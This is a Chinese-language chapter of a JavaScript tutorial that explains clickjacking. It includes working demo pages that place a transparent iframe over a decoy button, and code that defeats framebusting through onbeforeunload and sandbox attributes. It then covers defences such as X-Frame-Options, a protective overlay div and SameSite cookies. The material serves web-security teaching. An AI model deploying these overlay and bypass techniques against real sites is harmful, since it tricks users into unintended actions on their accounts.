Frame 和 window - 点击劫持攻击 - 《现代 JavaScript 教程中文版（The Modern JavaScript Tutorial）》

原理
示例
传统防御（弱 👎）
- 阻止顶级导航
- Sandbox 特性
X-Frame-Options
显示禁用的功能
Samesite cookie 特性
总结

“点击劫持”攻击允许恶意页面 以用户的名义 点击“受害网站”。

许多网站都被黑客以这种方式攻击过，包括 Twitter、Facebook 和 Paypal 等许多网站。当然，它们都已经被修复了。

原理

原理十分简单。

我们以 Facebook 为例，解释点击劫持是如何完成的：

访问者被恶意页面吸引。怎样吸引的不重要。
页面上有一个看起来无害的链接（例如：“变得富有”或者“点我，超好玩！”）。
恶意页面在该链接上方放置了一个透明的 <iframe>，其 src 来自于 facebook.com，这使得“点赞”按钮恰好位于该链接上面。这通常是通过 z-index 实现的。
用户尝试点击该链接时，实际上点击的是“点赞”按钮。

示例

这是恶意页面看起来的样子。为了清楚起见，我们将 <iframe> 设置成了半透明的（在真正的恶意页面中，它是全透明的）：

<style>
iframe { /* 来自受害网站的 iframe */
  width: 400px;
  height: 100px;
  position: absolute;
  top:0; left:-20px;
  opacity: 0.5; /* 在实际中为 opacity:0 */
  z-index: 1;
}
</style>
<div>点击即可变得富有：</div>
<!-- 来自受害网站的 url -->
<iframe src="/clickjacking/facebook.html"></iframe>
<button>点这里！</button>
<div>……你很酷（我实际上是一名帅气的黑客）！</div>

完整的攻击示例如下：

结果

facebook.html

index.html

<!DOCTYPE HTML>
<html>
<body style="margin:10px;padding:10px">
  <input type="button" onclick="alert('Like pressed on facebook.html!')" value="I LIKE IT !">
</body>
</html>

<!doctype html>
<html>
<head>
  <meta charset="UTF-8">
</head>
<body>
  <style>
    iframe {
      width: 400px;
      height: 100px;
      position: absolute;
      top: 5px;
      left: -14px;
      opacity: 0.5;
      z-index: 1;
    }
  </style>
  <div>点击即可变得富有：</div>
  <!-- 来自受害网站的 url -->
  <iframe src="facebook.html"></iframe>
  <button>点这里！</button>
  <div>……你很酷（我实际上是一名帅气的黑客）！</div>
</body>
</html>

在上面这个示例中，我们有一个半透明的 <iframe src="facebook.html">，我们可以看到，它位于按钮之上。点击按钮实际上会点击在 iframe 上，但这对用户不可见，因为 iframe 是透明的。

结果，如果访问者登陆了 Facebook（“记住我”通常是打开的），那么这个行为就会点一个“赞”。Twitter 上是 “Follow” 按钮。

下面是相同的示例，但 iframe 的透明度设置为了 opacity:0，更符合实际情况：

结果

facebook.html

index.html

<!DOCTYPE HTML>
<html>
<body style="margin:10px;padding:10px">
  <input type="button" onclick="alert('Like pressed on facebook.html!')" value="I LIKE IT !">
</body>
</html>

<!doctype html>
<html>
<head>
  <meta charset="UTF-8">
</head>
<body>
  <style>
    iframe {
      width: 400px;
      height: 100px;
      position: absolute;
      top: 5px;
      left: -14px;
      opacity: 0;
      z-index: 1;
    }
  </style>
  <div>点击即可变得富有：</div>
  <!-- 来自受害网站的 url -->
  <iframe src="facebook.html"></iframe>
  <button>点这里！</button>
  <div>……你很酷（我实际上是一名帅气的黑客）！</div>
</body>
</html>

我们进行攻击所需要做的 —— 就是将 <iframe> 放置在恶意页面中，使得按钮恰好位于链接的正上方。这样当用户点击链接时，他们实际上点击的是按钮。这通常可以通过 CSS 实现。

点击劫持是对点击事件，而非键盘事件

此攻击仅影响鼠标行为（或者类似的行为，例如在手机上的点击）。

键盘输入很难重定向。从技术上讲，我们可以用 iframe 的文本区域覆盖原有的文本区域实现攻击。因此，当访问者试图聚焦页面中的输入时，实际上聚焦的是 iframe 中的输入。

但是这里有个问题。访问者键入的所有内容都会被隐藏，因为该 iframe 是不可见的。

当用户无法在屏幕上看到自己输入的字符时，通常会停止打字。

传统防御（弱 👎）

最古老的防御措施是一段用于禁止在 frame 中打开页面的 JavaScript 代码（所谓的 “framebusting”）。

它看起来像这样：

if (top != window) {
  top.location = window.location;
}

意思是说：如果 window 发现它不在顶部，那么它将自动使其自身位于顶部。

这个方法并不可靠，因为有许多方式可以绕过这个限制。下面我们就介绍几个。

阻止顶级导航

我们可以阻止因更改 beforeunload 事件处理程序中的 top.location 而引起的过渡（transition）。

顶级页面（从属于黑客）在 beforeunload 上设置了一个用于阻止的处理程序，像这样：

window.onbeforeunload = function() {
  return false;
};

当 iframe 试图更改 top.location 时，访问者会收到一条消息，询问他们是否要离开页面。

在大多数情况下，访问者会做出否定的回答，因为他们并不知道还有这么一个 iframe，他们所看到的只有顶级页面，他们没有理由离开。所以 top.location 不会变化！

演示示例：

结果

iframe.html

index.html

<!doctype html>
<html>
<head>
  <meta charset="UTF-8">
</head>
<body>
  <div>Changes top.location to javascript.info</div>
  <script>
    top.location = 'https://javascript.info';
  </script>
</body>
</html>

<!doctype html>
<html>
<head>
  <meta charset="UTF-8">
  <style>
    iframe {
      width: 400px;
      height: 100px;
      position: absolute;
      top: 0;
      left: -20px;
      opacity: 0;
      z-index: 1;
    }
  </style>
  <script>
    function attack() {
      window.onbeforeunload = function() {
        window.onbeforeunload = null;
        return "Want to leave without learning all the secrets (he-he)?";
      };
      document.body.insertAdjacentHTML('beforeend', '<iframe src="iframe.html">');
    }
  </script>
</head>
<body>
  <p>点击该按钮后，访问者会收到一条关于他们是否要离开的“奇怪”问题。</p>
  <p>他们可能会回答“否”，这样就保护了 iframe 不被黑。</p>
  <button onclick="attack()">添加一个“受保护的” iframe</button>
</body>
</html>

Sandbox 特性

sandbox 特性的限制之一就是导航。沙箱化的 iframe 不能更改 top.location。

但我们可以添加具有 sandbox="allow-scripts allow-forms" 的 iframe。从而放开限制，允许脚本和表单。但我们没添加 allow-top-navigation，因此更改 top.location 是被禁止的。

代码如下：

<iframe sandbox="allow-scripts allow-forms" src="facebook.html"></iframe>

还有其他方式可以绕过这个弱鸡防御。

X-Frame-Options

服务器端 header X-Frame-Options 可以允许或禁止在 frame 中显示页面。

它必须被完全作为 HTTP-header 发送：如果浏览器在 HTML <meta> 标签中找到它，则会忽略它。因此，<meta http-equiv="X-Frame-Options"...> 没有任何作用。

这个 header 可能包含 3 个值：

DENY

始终禁止在 frame 中显示此页面。

SAMEORIGIN

允许在和父文档同源的 frame 中显示此页面。

ALLOW-FROM domain

允许在来自给定域的父文档的 frame 中显示此页面。

例如，Twitter 使用的是 X-Frame-Options: SAMEORIGIN。

结果如下：

<iframe src="https://twitter.com"></iframe>

上面这个 iframe 可能为空，或者通过 alert 告知你浏览器不允许以这种方式导航至该页面，这取决于你的浏览器。

显示禁用的功能

X-Frame-Options 有一个副作用。其他的网站即使有充分的理由也无法在 frame 中显示我们的页面。

因此，还有其他解决方案……例如，我们可以用一个样式为 height: 100%; width: 100%; 的 <div> “覆盖”页面，这样它就能拦截所有点击。如果 window == top 或者我们确定不需要保护时，再将该 <div> 移除。

像这样：

<style>
  #protector {
    height: 100%;
    width: 100%;
    position: absolute;
    left: 0;
    top: 0;
    z-index: 99999999;
  }
</style>
<div id="protector">
  <a href="/" target="_blank">前往网站</a>
</div>
<script>
  // 如果顶级窗口来自其他源，这里则会出现一个 error
  // 但是在本例中没有问题
  if (top.document.domain == document.domain) {
    protector.remove();
  }
</script>

演示示例：

结果

iframe.html

index.html

<!doctype html>
<html>
<head>
  <meta charset="UTF-8">
  <style>
    #protector {
      height: 100%;
      width: 100%;
      position: absolute;
      left: 0;
      top: 0;
      z-index: 99999999;
    }
  </style>
</head>
<body>
<div id="protector">
  <a href="/" target="_blank">前往网站</a>
</div>
<script>
  if (top.document.domain == document.domain) {
    protector.remove();
  }
</script>
  文本一直是可见的。
  但是，如果该页面是在来自另一个域的文档中打开的，则该页面上的 div 将阻止所有行为。
  <button onclick="alert(1)">在这种情况下，点击不起作用</button>
</body>
</html>

<!doctype html>
<html>
<head>
  <meta charset="UTF-8">
</head>
<body>
  <iframe src="iframe.html"></iframe>
</body>
</html>

Samesite cookie 特性

samesite cookie 特性也可以阻止点击劫持攻击。

具有 samesite 特性的 cookie 仅在网站是通过直接方式打开（而不是通过 frame 或其他方式）的情况下才发送到网站。更多细节请见 Cookie，document.cookie。

如果网站，例如 Facebook，在其身份验证 cookie 中具有 samesite 特性，像这样：

Set-Cookie: authorization=secret; samesite

……那么，当在另一个网站中的 iframe 中打开 Facebook 时，此类 cookie 将不会被发送。因此，攻击将失败。

当不实用 cookie 时，samesite cookie 特性将不会有任何影响。这可以使其他网站能够轻松地在 iframe 中显示我们公开的、未进行身份验证的页面。

然而，这也可能会使得劫持攻击在少数情况下起作用。例如，通过检查 IP 地址来防止重复投票的匿名投票网站仍然会受到点击劫持的攻击，因为它不使用 cookie 对用户身份进行验证。

总结

点击劫持是一种“诱骗”用户在不知情的情况下点击恶意网站的方式。如果是重要的点击操作，这是非常危险的。

黑客可以通过信息发布指向他的恶意页面的链接，或者通过某些手段引诱访问者访问他的页面。当然还有很多其他变体。

一方面 —— 这种攻击方式是“浅层”的：黑客所做的只是拦截一次点击。但另一方面，如果黑客知道在点击之后将出现另一个控件，则他们可能还会使用狡猾的消息来迫使用户也点击它们。

这种攻击相当危险，因为在设计交互界面时，我们通常不会考虑到可能会有黑客代表用户点击界面。所以，在许多意想不到的地方可能发现攻击漏洞。

建议在那些不希望被在 frame 中查看的页面上（或整个网站上）使用 X-Frame-Options: SAMEORIGIN。
如果我们希望允许在 frame 中显示我们的页面，那我们使用一个 <div> 对整个页面进行遮盖，这样也是安全的。